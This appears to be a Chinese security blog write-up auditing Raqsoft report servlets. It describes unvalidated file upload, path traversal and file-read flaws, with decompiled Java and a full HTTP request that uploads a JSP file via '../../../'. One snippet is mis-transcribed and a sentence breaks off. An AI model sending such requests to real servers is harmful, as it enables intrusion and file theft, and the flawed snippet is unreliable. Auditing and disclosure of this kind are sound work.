server-name里面有对应的类 进入 com.raqsoft.guide.web.DataSphereServlet 进入该类
action=38时,代码仅获取文件名并保存,未验证文件类型
Upload upload = new Upload(this.getServletConfig(), request,response);
String upName = upload.getFileName(0);path = upload.getParameter("path");fm.write(upName, Consts.getStreamBytes(upload.getByteArrayInputStream(0)));
然后通过通过getFilePath方法拼接路径
数据包:
POST /servlet/dataSphereServlet?action=38 HTTP/1.1
Host: 0.0.0.0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 388
Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-data; name="openGrpxFile"; filename="test.jsp"
Content-Type: text/plain
<% out.println("test"); %>
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-data; name="path"
../../../
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-data; name="saveServer"
2.InputServlet文件上传
进入InputServlet类里面
跟进UploadFile方法
核心代码
Upload upload = new Upload(servletConfig, request, response);
int upsize = Integer.parseInt(upload.getParameter("upsize"));
int size = upload.getFileSize(0);
if (size > upsize * 1024) {
throw new Exception("上载文件大小" + (int)Math.ceil((double)size / (double)1024.0F) + "k大于最大限制" + upsize + "k");
}
String upFileName = "";
if (upload.getUploadFileCount() == 1) {
upFileName = upload.getFileName(0);
}
File f = new File(Config.getCachePath() + "/tmp_" + (new Double(Math.random() * (double)100000.0F)).intValue() + "_" + upFileName);
FileOutputStream fos = null;
try {
fos = new FileOutputStream(f);
byte[] b = InputUtils.getStreamBytes(upload.getByteArrayInputStream(0));
fos.write(b);
fos.flush();
} finally {
try {
fos.close();
} catch (Exception var31) {
}
}
InputSessionListener.addFile(request.getSession(), f.getAbsolutePath(), (Object)null);
使用Config.getCachePath()获取上传文件的目标路径,然后与文件名拼接成完整路径
upFileName的值由upload.getFileName(0)获取,可以控制上传文件的文件名
3.dataSphereServlet文件读取漏洞
path参数直接来自用户请求,未经过严格过滤
if (!saveServer) {
s = SaveUtil.readFile(new File(abPath));
}
当saveServer为false时,代码会读取并返回文件内容给客户端
4.dataSphereServlet文件读取漏洞
进入DownloadFile()方法
// 获取文件参数
String fileName = request.getParameter("file");
// 根据获取的文件名构造文件对象
File f = new File(Config.getCachePath(), fileName);
// 检查文件是否存在
if (!f.exists()) {
throw new Exception("Download file is not exist!");
}
// 读取文件内容
FileInputStream fis = new File(Config.getCachePath(), fileName);
byte[] b = InputUtils.getStreamBytes(fis);
fileName参数直接从用户请求中获取,没有对其进行严格
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论